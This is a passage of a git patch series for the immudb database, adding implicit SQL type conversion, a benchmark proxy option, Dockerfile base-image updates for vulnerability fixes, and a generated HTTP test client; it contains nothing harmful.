fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) } @@ -64,12 +74,22 @@ func applyNumOperatorInteger(op NumOperator, vl, vr TypedValue) (TypedValue, err } func applyNumOperatorFloat64(op NumOperator, vl, vr TypedValue) (TypedValue, error) { - nl, isNumber := applyImplicitConversion(vl.RawValue(), Float64Type).(float64) + convl, err := mayApplyImplicitConversion(vl.RawValue(), Float64Type) + if err != nil { + return nil, fmt.Errorf("%w (expecting numeric value)", err) + } + + nl, isNumber := convl.(float64) if !isNumber { return nil, fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) } - nr, isNumber := applyImplicitConversion(vr.RawValue(), Float64Type).(float64) + convr, err := mayApplyImplicitConversion(vr.RawValue(), Float64Type) + if err != nil { + return nil, fmt.Errorf("%w (expecting numeric value)", err) + } + + nr, isNumber := convr.(float64) if !isNumber { return nil, fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) } diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 405e1dced6..da2834e57e 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -24,7 +24,6 @@ import ( "fmt" "math" "regexp" - "strconv" "strings" "time" @@ -1845,11 +1844,14 @@ func (v *Float64) RawValue() interface{} { } func (v *Float64) Compare(val TypedValue) (int, error) { - if val.IsNull() { - return 1, nil + convVal, err := mayApplyImplicitConversion(val.RawValue(), Float64Type) + if err != nil { + return 0, err } - convVal := applyImplicitConversion(val.RawValue(), Float64Type) + if convVal == nil { + return 1, nil + } rval, ok := convVal.(float64) if !ok { @@ -1936,104 +1938,6 @@ type Cast struct { t SQLValueType } -type converterFunc func(TypedValue) (TypedValue, error) - -func getConverter(src, dst SQLValueType) (converterFunc, error) { - if src == dst { - return func(tv TypedValue) (TypedValue, error) { - return tv, nil - }, nil - } - - if dst == TimestampType { - - if src == IntegerType { - return func(val TypedValue) (TypedValue, error) { - if val.RawValue() == nil { - return &NullValue{t: TimestampType}, nil - } - return &Timestamp{val: time.Unix(val.RawValue().(int64), 0).Truncate(time.Microsecond).UTC()}, nil - }, nil - } - - if src == VarcharType { - return func(val TypedValue) (TypedValue, error) { - if val.RawValue() == nil { - return &NullValue{t: TimestampType}, nil - } - - str := val.RawValue().(string) - for _, layout := range []string{ - "2006-01-02 15:04:05.999999", - "2006-01-02 15:04", - "2006-01-02", - } { - t, err := time.ParseInLocation(layout, str, time.UTC) - if err == nil { - return &Timestamp{val: t.Truncate(time.Microsecond).UTC()}, nil - } - } - - if len(str) > 30 { - str = str[:30] + "..." - } - - return nil, fmt.Errorf( - "%w: can not cast string '%s' as a TIMESTAMP", - ErrUnsupportedCast, - str, - ) - }, nil - } - - return nil, fmt.Errorf( - "%w: only INTEGER and VARCHAR types can be cast as TIMESTAMP", - ErrUnsupportedCast, - ) - } - - if dst == Float64Type { - - if src == IntegerType { - return func(val TypedValue) (TypedValue, error) { - if val.RawValue() == nil { - return &NullValue{t: Float64Type}, nil - } - return &Float64{val: float64(val.RawValue().(int64))}, nil - }, nil - } - - if src == VarcharType { - return func(val TypedValue) (TypedValue, error) { - if val.RawValue() == nil { - return &NullValue{t: Float64Type}, nil - } - - s, err := strconv.ParseFloat(val.RawValue().(string), 64) - if err != nil { - return nil, fmt.Errorf( - "%w: can not cast string '%s' as a FLOAT", - ErrUnsupportedCast, - val.RawValue().(string), - ) - } - return &Float64{val: s}, nil - }, nil - } - - return nil, fmt.Errorf( - "%w: only INTEGER and VARCHAR types can be cast as FLOAT", - ErrUnsupportedCast, - ) - } - - return nil, fmt.Errorf( - "%w: can not cast %s value as %s", - ErrUnsupportedCast, - src, dst, - ) -} - func (c *Cast) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { _, err := c.val.inferType(cols, params, implicitDB, implicitTable) if err != nil { diff --git a/embedded/sql/type_conversion.go b/embedded/sql/type_conversion.go new file mode 100644 index 0000000000..34e9f6937e --- /dev/null +++ b/embedded/sql/type_conversion.go @@ -0,0 +1,165 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package sql + +import ( + "fmt" + "strconv" + "time" +) + +type converterFunc func(TypedValue) (TypedValue, error) + +func getConverter(src, dst SQLValueType) (converterFunc, error) { + if src == dst { + return func(tv TypedValue) (TypedValue, error) { + return tv, nil + }, nil + } + + if src == AnyType { + return func(val TypedValue) (TypedValue, error) { + if val.RawValue() == nil { + return &NullValue{t: dst}, nil + } + return nil, ErrInvalidValue + }, nil + } + + if dst == TimestampType { + + if src == IntegerType { + return func(val TypedValue) (TypedValue, error) { + if val.RawValue() == nil { + return &NullValue{t: TimestampType}, nil + } + return &Timestamp{val: time.Unix(val.RawValue().(int64), 0).Truncate(time.Microsecond).UTC()}, nil + }, nil + } + + if src == VarcharType { + return func(val TypedValue) (TypedValue, error) { + if val.RawValue() == nil { + return &NullValue{t: TimestampType}, nil + } + + str := val.RawValue().(string) + for _, layout := range []string{ + "2006-01-02 15:04:05.999999", + "2006-01-02 15:04", + "2006-01-02", + } { + t, err := time.ParseInLocation(layout, str, time.UTC) + if err == nil { + return &Timestamp{val: t.Truncate(time.Microsecond).UTC()}, nil + } + } + + if len(str) > 30 { + str = str[:30] + "..." + } + + return nil, fmt.Errorf( + "%w: can not cast string '%s' as a TIMESTAMP", + ErrUnsupportedCast, + str, + ) + }, nil + } + + return nil, fmt.Errorf( + "%w: only INTEGER and VARCHAR types can be cast as TIMESTAMP", + ErrUnsupportedCast, + ) + } + + if dst == Float64Type { + + if src == IntegerType { + return func(val TypedValue) (TypedValue, error) { + if val.RawValue() == nil { + return &NullValue{t: Float64Type}, nil + } + return &Float64{val: float64(val.RawValue().(int64))}, nil + }, nil + } + + if src == VarcharType { + return func(val TypedValue) (TypedValue, error) { + if val.RawValue() == nil { + return &NullValue{t: Float64Type}, nil + } + + s, err := strconv.ParseFloat(val.RawValue().(string), 64) + if err != nil { + return nil, fmt.Errorf( + "%w: can not cast string '%s' as a FLOAT", + ErrUnsupportedCast, + val.RawValue().(string), + ) + } + return &Float64{val: s}, nil + }, nil + } + + return nil, fmt.Errorf( + "%w: only INTEGER and VARCHAR types can be cast as FLOAT", + ErrUnsupportedCast, + ) + } + + if dst == IntegerType { + + if src == Float64Type { + return func(val TypedValue) (TypedValue, error) { + if val.RawValue() == nil { + return &NullValue{t: IntegerType}, nil + } + return &Integer{val: int64(val.RawValue().(float64))}, nil + }, nil + } + + if src == VarcharType { + return func(val TypedValue) (TypedValue, error) { + if val.RawValue() == nil { + return &NullValue{t: IntegerType}, nil + } + + s, err := strconv.ParseInt(val.RawValue().(string), 10, 64) + if err != nil { + return nil, fmt.Errorf( + "%w: can not cast string '%s' as a INTEGER", + ErrUnsupportedCast, + val.RawValue().(string), + ) + } + return &Integer{val: s}, nil + }, nil + } + + return nil, fmt.Errorf( + "%w: only INTEGER and VARCHAR types can be cast as INTEGER", + ErrUnsupportedCast, + ) + } + + return nil, fmt.Errorf( + "%w: can not cast %s value as %s", + ErrUnsupportedCast, + src, dst, + ) +} From 20e8fd751d8d9086fff8f755f07262f5a0c123ac Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 16 Mar 2023 11:49:41 -0300 Subject: [PATCH 0342/1062] chore(embedded/sql): implicit conversion support in limit and offset clauses Signed-off-by: Jeronimo Irazabal --- embedded/sql/stmt.go | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index da2834e57e..e53c9fb6b5 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -2282,10 +2282,14 @@ func evalExpAsInt(tx *SQLTx, exp ValueExp, params map[string]interface{}) (int, return 0, err } - num, ok := texp.Value().(int64) - if !ok { + convVal, err := mayApplyImplicitConversion(texp.RawValue(), IntegerType) + if err != nil { return 0, ErrInvalidValue + } + num, ok := convVal.(int64) + if !ok { + return 0, ErrInvalidValue } if num > math.MaxInt32 { From 359809a062331ecec341ef2a4b9f6f9ca2e49fc1 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 17 Mar 2023 09:26:51 -0300 Subject: [PATCH 0343/1062] test(embedded/sql): test keys get encoded preserving lex order Signed-off-by: Jeronimo Irazabal --- embedded/sql/catalog_test.go | 26 ++++++++++++++++++++++++++ embedded/sql/type_conversion.go | 7 +++++-- 2 files changed, 31 insertions(+), 2 deletions(-) diff --git a/embedded/sql/catalog_test.go b/embedded/sql/catalog_test.go index 9842047976..6f10181723 100644 --- a/embedded/sql/catalog_test.go +++ b/embedded/sql/catalog_test.go @@ -138,3 +138,29 @@ func TestFromEmptyCatalog(t *testing.T) { require.ErrorIs(t, err, ErrDuplicatedColumn) } + +func TestEncodeRawValueAsKey(t *testing.T) { + t.Run("encoded int keys should preserve lex order", func(t *testing.T) { + var prevEncKey []byte + + for i := 0; i < 10; i++ { + encKey, err := EncodeRawValueAsKey(int64(i), IntegerType, 8) + require.NoError(t, err) + require.Greater(t, encKey, prevEncKey) + + prevEncKey = encKey + } + }) + + t.Run("encoded varchar keys should preserve lex order", func(t *testing.T) { + var prevEncKey []byte + + for _, v := range []string{"key1", "key11", "key2", "key3"} { + encKey, err := EncodeRawValueAsKey(v, VarcharType, 10) + require.NoError(t, err) + require.Greater(t, encKey, prevEncKey) + + prevEncKey = encKey + } + }) +} diff --git a/embedded/sql/type_conversion.go b/embedded/sql/type_conversion.go index 34e9f6937e..06d341e82e 100644 --- a/embedded/sql/type_conversion.go +++ b/embedded/sql/type_conversion.go @@ -58,11 +58,14 @@ func getConverter(src, dst SQLValueType) (converterFunc, error) { } str := val.RawValue().(string) - for _, layout := range []string{ + + var supportedTimeFormats = []string{ "2006-01-02 15:04:05.999999", "2006-01-02 15:04", "2006-01-02", - } { + } + + for _, layout := range supportedTimeFormats { t, err := time.ParseInLocation(layout, str, time.UTC) if err == nil { return &Timestamp{val: t.Truncate(time.Microsecond).UTC()}, nil From b6cfd0e687734934d3a1e82644e68e7cd6bcc5ad Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Mon, 20 Mar 2023 12:58:30 -0300 Subject: [PATCH 0344/1062] chore(test/perf-tests): use proxy on benchmark runner Signed-off-by: Marco Sanchotene --- .../pkg/runner/influxdb_client.go | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/test/performance-test-suite/pkg/runner/influxdb_client.go b/test/performance-test-suite/pkg/runner/influxdb_client.go index 3fe0ac4056..c7eeeb6ba1 100644 --- a/test/performance-test-suite/pkg/runner/influxdb_client.go +++ b/test/performance-test-suite/pkg/runner/influxdb_client.go @@ -2,12 +2,24 @@ package runner import ( "context" + "net/http" + "net/url" + "os" influxdb2 "github.com/influxdata/influxdb-client-go/v2" ) func SendResultsToInfluxDb(host string, token string, bucket string, runner string, version string, r *BenchmarkSuiteResult) { - client := influxdb2.NewClient(host, token) + var client influxdb2.Client + + if runner == "benchmark" { + proxyUrl, _ := url.Parse(os.Getenv("HTTPS_PROXY")) + httpClient := &http.Client{Transport: &http.Transport{Proxy: http.ProxyURL(proxyUrl)}} + client = influxdb2.NewClientWithOptions(host, token, influxdb2.DefaultOptions().SetHTTPClient(httpClient)) + } else { + client = influxdb2.NewClient(host, token) + } + writer := client.WriteAPIBlocking("Codenotary", bucket) for _, b := range r.Benchmarks { From 2c8438439563e2fdc0198c393276688843269ed1 Mon Sep 17 00:00:00 2001 From: snyk-bot Date: Wed, 1 Mar 2023 18:36:22 +0000 Subject: [PATCH 0345/1062] fix: build/Dockerfile.immuclient to reduce vulnerabilities The following vulnerabilities are fixed with an upgrade: - https://snyk.io/vuln/SNYK-DEBIAN11-GNUPG2-3330745 - https://snyk.io/vuln/SNYK-DEBIAN11-GNUTLS28-3318299 - https://snyk.io/vuln/SNYK-DEBIAN11-NCURSES-2767191 - https://snyk.io/vuln/SNYK-DEBIAN11-OPENSSL-518334 - https://snyk.io/vuln/SNYK-DEBIAN11-OPENSSL-525332 --- build/Dockerfile.immuclient | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build/Dockerfile.immuclient b/build/Dockerfile.immuclient index c85eb38036..04bcfeb7e6 100644 --- a/build/Dockerfile.immuclient +++ b/build/Dockerfile.immuclient @@ -3,7 +3,7 @@ WORKDIR /src COPY . . RUN GOOS=linux GOARCH=amd64 make immuclient-static -FROM debian:bullseye-slim as bullseye +FROM debian:11.6-slim as bullseye LABEL org.opencontainers.image.authors="Codenotary Inc. " COPY --from=build /src/immuclient /app/immuclient From e0d378122c35a85fbe863eb1dd8af5950886730c Mon Sep 17 00:00:00 2001 From: snyk-bot Date: Thu, 2 Mar 2023 06:11:58 +0000 Subject: [PATCH 0346/1062] fix: build/Dockerfile.immuadmin to reduce vulnerabilities The following vulnerabilities are fixed with an upgrade: - https://snyk.io/vuln/SNYK-DEBIAN11-GNUPG2-3330745 - https://snyk.io/vuln/SNYK-DEBIAN11-GNUTLS28-3318299 - https://snyk.io/vuln/SNYK-DEBIAN11-PCRE3-525075 - https://snyk.io/vuln/SNYK-DEBIAN11-PCRE3-529298 - https://snyk.io/vuln/SNYK-DEBIAN11-PCRE3-529490 --- build/Dockerfile.immuadmin | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build/Dockerfile.immuadmin b/build/Dockerfile.immuadmin index 1f8c2b065f..56f840fa94 100644 --- a/build/Dockerfile.immuadmin +++ b/build/Dockerfile.immuadmin @@ -3,7 +3,7 @@ WORKDIR /src COPY . . RUN GOOS=linux GOARCH=amd64 make immuadmin-static -FROM debian:bullseye-slim as bullseye +FROM debian:11.6-slim as bullseye LABEL org.opencontainers.image.authors="Codenotary Inc. " COPY --from=build /src/immuadmin /usr/local/bin/immuadmin From f623c1b05b768e9b64ad7312a36b6ffab9f6ac4e Mon Sep 17 00:00:00 2001 From: snyk-bot Date: Wed, 1 Mar 2023 21:42:38 +0000 Subject: [PATCH 0347/1062] fix: build/Dockerfile.rndpass to reduce vulnerabilities The following vulnerabilities are fixed with an upgrade: - https://snyk.io/vuln/SNYK-DEBIAN11-GNUPG2-3330745 - https://snyk.io/vuln/SNYK-DEBIAN11-GNUTLS28-3318299 - https://snyk.io/vuln/SNYK-DEBIAN11-SHADOW-3310898 - https://snyk.io/vuln/SNYK-DEBIAN11-SHADOW-526940 - https://snyk.io/vuln/SNYK-DEBIAN11-SHADOW-528840 --- build/Dockerfile.rndpass | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build/Dockerfile.rndpass b/build/Dockerfile.rndpass index a121c63cf6..7a191873d4 100644 --- a/build/Dockerfile.rndpass +++ b/build/Dockerfile.rndpass @@ -2,7 +2,7 @@ FROM golang:1.18 as build WORKDIR /src COPY . . RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default make immuadmin-static immudb-static -FROM debian:bullseye-slim +FROM debian:11.6-slim LABEL org.opencontainers.image.authors="Codenotary Inc. " COPY --from=build /src/immudb /usr/sbin/immudb From 6d7b02e5c1a2a93e095720d3f8b5f9e71fa8a4a2 Mon Sep 17 00:00:00 2001 From: snyk-bot Date: Thu, 2 Mar 2023 01:24:28 +0000 Subject: [PATCH 0348/1062] fix: build/Dockerfile.full to reduce vulnerabilities The following vulnerabilities are fixed with an upgrade: - https://snyk.io/vuln/SNYK-DEBIAN11-E2FSPROGS-2628459 - https://snyk.io/vuln/SNYK-DEBIAN11-GNUPG2-3330745 - https://snyk.io/vuln/SNYK-DEBIAN11-GNUTLS28-3318299 - https://snyk.io/vuln/SNYK-DEBIAN11-UTILLINUX-2401081 - https://snyk.io/vuln/SNYK-DEBIAN11-UTILLINUX-2401081 --- build/Dockerfile.full | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build/Dockerfile.full b/build/Dockerfile.full index 3d1058fba5..df423d62ef 100644 --- a/build/Dockerfile.full +++ b/build/Dockerfile.full @@ -7,7 +7,7 @@ RUN rm -rf /src/webconsole/dist RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default make immuadmin-static immudb-static immuclient-static RUN mkdir /empty -FROM debian:bullseye-slim as bullseye-slim +FROM debian:11.6-slim as bullseye-slim LABEL org.opencontainers.image.authors="Codenotary Inc. " COPY --from=build /src/immudb /usr/sbin/immudb From 3e1a49a97d1d8dbe65e3fdc5bd1bf251f0106e09 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Mon, 20 Mar 2023 11:54:58 +0100 Subject: [PATCH 0349/1062] First TDD --- test/objectstorage_tests/go.mod | 22 + test/objectstorage_tests/go.sum | 54 + .../immudbauth/authorizationclient.go | 418 ++++ .../immudbdocuments/documentsclient.go | 1692 +++++++++++++++++ .../objects_tests/collections_test.go | 60 + .../objects_tests/documents_test.go | 58 + .../objects_tests/login_test.go | 36 + .../objects_tests/objecttestutils.go | 91 + test/objectstorage_tests/testall.sh | 1 + 9 files changed, 2432 insertions(+) create mode 100644 test/objectstorage_tests/go.mod create mode 100644 test/objectstorage_tests/go.sum create mode 100644 test/objectstorage_tests/immudbhttpclient/immudbauth/authorizationclient.go create mode 100644 test/objectstorage_tests/immudbhttpclient/immudbdocuments/documentsclient.go create mode 100644 test/objectstorage_tests/objects_tests/collections_test.go create mode 100644 test/objectstorage_tests/objects_tests/documents_test.go create mode 100644 test/objectstorage_tests/objects_tests/login_test.go create mode 100644 test/objectstorage_tests/objects_tests/objecttestutils.go create mode 100644 test/objectstorage_tests/testall.sh diff --git a/test/objectstorage_tests/go.mod b/test/objectstorage_tests/go.mod new file mode 100644 index 0000000000..a7031fefc8 --- /dev/null +++ b/test/objectstorage_tests/go.mod @@ -0,0 +1,22 @@ +module github.com/codenotary/immudb/test/objectstorage_tests + +go 1.19 + +require ( + github.com/antihax/optional v1.0.0 + github.com/google/uuid v1.3.0 + github.com/stretchr/testify v1.8.2 + golang.org/x/oauth2 v0.5.0 +) + +require ( + github.com/apapsch/go-jsonmerge/v2 v2.0.0 // indirect + github.com/davecgh/go-spew v1.1.1 // indirect + github.com/deepmap/oapi-codegen v1.12.4 // indirect + github.com/golang/protobuf v1.5.2 // indirect + github.com/pmezard/go-difflib v1.0.0 // indirect + golang.org/x/net v0.6.0 // indirect + google.golang.org/appengine v1.6.7 // indirect + google.golang.org/protobuf v1.28.1 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect +) diff --git a/test/objectstorage_tests/go.sum b/test/objectstorage_tests/go.sum new file mode 100644 index 0000000000..e92bd46e8c --- /dev/null +++ b/test/objectstorage_tests/go.sum @@ -0,0 +1,54 @@ +github.com/RaveNoX/go-jsoncommentstrip v1.0.0/go.mod h1:78ihd09MekBnJnxpICcwzCMzGrKSKYe4AqU6PDYYpjk= +github.com/antihax/optional v1.0.0 h1:xK2lYat7ZLaVVcIuj82J8kIro4V6kDe0AUDFboUCwcg= +github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= +github.com/apapsch/go-jsonmerge/v2 v2.0.0 h1:axGnT1gRIfimI7gJifB699GoE/oq+F2MU7Dml6nw9rQ= +github.com/apapsch/go-jsonmerge/v2 v2.0.0/go.mod h1:lvDnEdqiQrp0O42VQGgmlKpxL1AP2+08jFMw88y4klk= +github.com/bmatcuk/doublestar v1.1.1/go.mod h1:UD6OnuiIn0yFxxA2le/rnRU1G4RaI4UvFv1sNto9p6w= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/deepmap/oapi-codegen v1.12.4 h1:pPmn6qI9MuOtCz82WY2Xaw46EQjgvxednXXrP7g5Q2s= +github.com/deepmap/oapi-codegen v1.12.4/go.mod h1:3lgHGMu6myQ2vqbbTXH2H1o4eXFTGnFiDaOaKKl5yas= +github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= +github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw= +github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= +github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg= +github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= +github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/juju/gnuflag v0.0.0-20171113085948-2ce1bb71843d/go.mod h1:2PavIy+JPciBPrBUjwbNvtwB6RQlve+hkpll6QSNmOE= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/spkg/bom v0.0.0-20160624110644-59b7046e48ad/go.mod h1:qLr4V1qq6nMqFKkMo8ZTx3f+BZEkzsRUY10Xsm2mwU0= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8= +github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= +golang.org/x/net v0.6.0 h1:L4ZwwTvKW9gr0ZMS1yrHD9GZhIuVjOBBnaKH+SPQK0Q= +golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/oauth2 v0.5.0 h1:HuArIo48skDwlrvM3sEdHXElYslAMsf3KwRkkW4MC4s= +golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c= +google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= +google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= +google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= +google.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw= +google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/test/objectstorage_tests/immudbhttpclient/immudbauth/authorizationclient.go b/test/objectstorage_tests/immudbhttpclient/immudbauth/authorizationclient.go new file mode 100644 index 0000000000..3752b43e38 --- /dev/null +++ b/test/objectstorage_tests/immudbhttpclient/immudbauth/authorizationclient.go @@ -0,0 +1,418 @@ +// Package immudbauth provides primitives to interact with the openapi HTTP API. +// +// Code generated by github.com/deepmap/oapi-codegen version v1.12.4 DO NOT EDIT. +package immudbauth + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "io" + "net/http" + "net/url" + "strings" +) + +// AuthorizationschemaOpenSessionRequestV2 defines model for authorizationschemaOpenSessionRequestV2. +type AuthorizationschemaOpenSessionRequestV2 struct { + Database *string `json:"database,omitempty"` + Password *string `json:"password,omitempty"` + Username *string `json:"username,omitempty"` +} + +// AuthorizationschemaOpenSessionResponseV2 defines model for authorizationschemaOpenSessionResponseV2. +type AuthorizationschemaOpenSessionResponseV2 struct { + ExpirationTimestamp *int32 `json:"expirationTimestamp,omitempty"` + InactivityTimestamp *int32 `json:"inactivityTimestamp,omitempty"` + ServerUUID *string `json:"serverUUID,omitempty"` + Token *string `json:"token,omitempty"` +} + +// ProtobufAny `Any` contains an arbitrary serialized protocol buffer message along with a +// URL that describes the type of the serialized message. +// +// Protobuf library provides support to pack/unpack Any values in the form +// of utility functions or additional generated methods of the Any type. +// +// Example 1: Pack and unpack a message in C++. +// +// Foo foo = ...; +// Any any; +// any.PackFrom(foo); +// ... +// if (any.UnpackTo(&foo)) { +// ... +// } +// +// Example 2: Pack and unpack a message in Java. +// +// Foo foo = ...; +// Any any = Any.pack(foo); +// ... +// if (any.is(Foo.class)) { +// foo = any.unpack(Foo.class); +// } +// +// Example 3: Pack and unpack a message in Python. +// +// foo = Foo(...) +// any = Any() +// any.Pack(foo) +// ... +// if any.Is(Foo.DESCRIPTOR): +// any.Unpack(foo) +// ... +// +// Example 4: Pack and unpack a message in Go +// +// foo := &pb.Foo{...} +// any, err := ptypes.MarshalAny(foo) +// ... +// foo := &pb.Foo{} +// if err := ptypes.UnmarshalAny(any, foo); err != nil { +// ... +// } +// +// The pack methods provided by protobuf library will by default use +// 'type.googleapis.com/full.type.name' as the type URL and the unpack +// methods only use the fully qualified type name after the last '/' +// in the type URL, for example "foo.bar.com/x/y.z" will yield type +// name "y.z". +// +// JSON +// ==== +// The JSON representation of an `Any` value uses the regular +// representation of the deserialized, embedded message, with an +// additional field `@type` which contains the type URL. Example: +// +// package google.profile; +// message Person { +// string first_name = 1; +// string last_name = 2; +// } +// +// { +// "@type": "type.googleapis.com/google.profile.Person", +// "firstName": , +// "lastName": +// } +// +// If the embedded message type is well-known and has a custom JSON +// representation, that representation will be embedded adding a field +// `value` which holds the custom JSON in addition to the `@type` +// field. Example (for message [google.protobuf.Duration][]): +// +// { +// "@type": "type.googleapis.com/google.protobuf.Duration", +// "value": "1.212s" +// } +type ProtobufAny struct { + // TypeUrl A URL/resource name that uniquely identifies the type of the serialized + // protocol buffer message. This string must contain at least + // one "/" character. The last segment of the URL's path must represent + // the fully qualified name of the type (as in + // `path/google.protobuf.Duration`). The name should be in a canonical form + 